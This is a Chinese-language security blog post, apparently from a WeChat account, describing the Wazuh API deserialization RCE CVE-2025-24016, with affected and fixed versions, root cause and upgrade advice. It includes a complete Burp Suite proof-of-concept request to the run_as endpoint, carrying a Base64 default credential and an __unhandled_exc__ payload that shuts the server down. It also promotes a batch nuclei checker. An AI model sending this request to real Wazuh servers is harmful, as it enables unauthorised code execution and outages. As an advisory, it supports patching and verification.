Wazuh RCE漏洞CVE-2025-24016

爱坤 爱坤sec 2025-03-18 22:06

漏洞批量nuclei验证获取地址在文章末尾

漏洞概述

该漏洞允许具有 API 访问权限的远程攻击者（受感染的仪表板、集群中的 Wazuh 服务器或具有受感染代理的某些配置）在服务器上执行任意代码。

受影响的版本

wazuh-manager版本>= 4.4.0

已修复版本>= 4.9.1

描述

该漏洞发生在 Wazuh API 中，其中的参数DistributedAPI被序列化为 JSON，并在文件as_wazuh_object中使用反序列化framework/wazuh/core/cluster/common.py。攻击者可以通过将未清理的字典注入 DAPI 请求来利用此漏洞，这可能导致对任意 Python 代码的评估。

攻击者可以利用终端触发 RCE run_as，从而控制auth_context参数。通过构造恶意请求，可以在主服务器上执行任意代码。

概念验证

要使用服务器 API 触发此漏洞，请按照以下步骤操作。

PoC Burp Suite 请求

1.Burp Suite 触发漏洞的请求：

POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

请求说明：

授权标头：这是 base64 编码的授权（wazuh-wui:MyS3cr37P450r.*-）。

有效负载：恶意有效负载包含未清理的异常__unhandled_exc__，会触发任意 Python 代码的执行（exit在本例中）。

影响

远程代码执行 (RCE)：此漏洞允许攻击者在 Wazuh 服务器上执行任意代码，影响>= 4.4.0直至4.9.0（尚未修补）的版本。

潜在的拒绝服务：在此 PoC 中，该exit功能被触发，导致 Wazuh 服务器关闭。

修复

为了保护您的系统，请升级到修补此问题的Wazuh版本。>= 4.9.1

工具获取，后台回复【20250318
】

更多精彩文章与工具分享 欢迎关注

---